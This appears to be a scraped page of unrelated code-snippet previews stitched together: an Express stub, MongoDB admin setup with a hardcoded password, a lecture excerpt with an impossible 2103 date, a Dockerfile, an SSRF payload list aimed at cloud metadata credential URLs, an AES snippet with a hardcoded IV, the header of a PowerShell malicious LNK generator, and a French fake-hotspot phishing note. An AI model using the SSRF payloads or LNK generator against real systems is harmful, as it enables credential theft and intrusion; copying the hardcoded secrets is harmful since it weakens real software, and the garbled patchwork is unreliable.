I have moved this over to the Tech Interview Cheat Sheet Repo and has been expanded and even has code challenges you can run and practice against!
\
/** | |
* Module dependencies. | |
*/ | |
var express = require('express') | |
, routes = require('./routes') | |
, http = require('http'); | |
var app = express(); | |
var server = app.listen(3000); |
# Create your superuser | |
$ mongo | |
> use admin | |
> db.createUser({user:"someadmin",pwd:"secret", roles:[{role:"root",db:"admin"}]}) | |
> exit | |
# Alias for convenience (optional and at your own risk) | |
$ echo 'alias mongo="mongo --port 27017 -u someadmin -p secret --authenticationDatabase admin"' >> ~/.bash_profile | |
$ source ~/.bash_profile |
04/26/2103. From a lecture by Professor John Ousterhout at Stanford, class CS142.
This is my most touchy-feely thought for the weekend. Here’s the basic idea: It’s really hard to build relationships that last for a long time. If you haven’t discovered this, you will discover this sooner or later. And it's hard both for personal relationships and for business relationships. And to me, it's pretty amazing that two people can stay married for 25 years without killing each other.
[Laughter]
> But honestly, most professional relationships don't last anywhere near that long. The best bands always seem to break up after 2 or 3 years. And business partnerships fall apart, and there's all these problems in these relationships that just don't last. So, why is that? Well, in my view, it’s relationships don't fail because there some single catastrophic event to destroy them, although often there is a single catastrophic event around the the end of the relation
FROM gliderlabs/alpine:3.3 | |
COPY myawesomescript /bin/myawesomescript | |
COPY root /var/spool/cron/crontabs/root | |
RUN chmod +x /bin/myawesomescript | |
CMD crond -l 2 -f |
## IPv6 Tests | |
http://[::ffff:169.254.169.254] | |
http://[0:0:0:0:0:ffff:169.254.169.254] | |
## AWS | |
# Amazon Web Services (No Header Required) | |
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
http://169.254.169.254/latest/user-data | |
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import random | |
import sys | |
from Crypto.Cipher import AES | |
BLOCK_SIZE = 16 # bytes | |
INIT_VEC = 'This is an IV456' # hardcoding this is a terrible idea |
function Create-LNKPayload{ | |
<# | |
.SYNOPSIS | |
Generates a malicous LNK file | |
.PARAMETER LNKName | |
Name of the LNK file you want to create. |
- Créer un faux point d'accès Wifi public (hotspot) portable,
- Créer un phishing Facebook phishing
- Informer les utilisateurs de hotspots gratuits des dangers d'une connexion directe à un wifi ouvert.
Durant les expérimentations effectuées dans l'espace public, aucune information personnelle (login, mot de passe..) n'a été interceptée, stockée ou visualisée.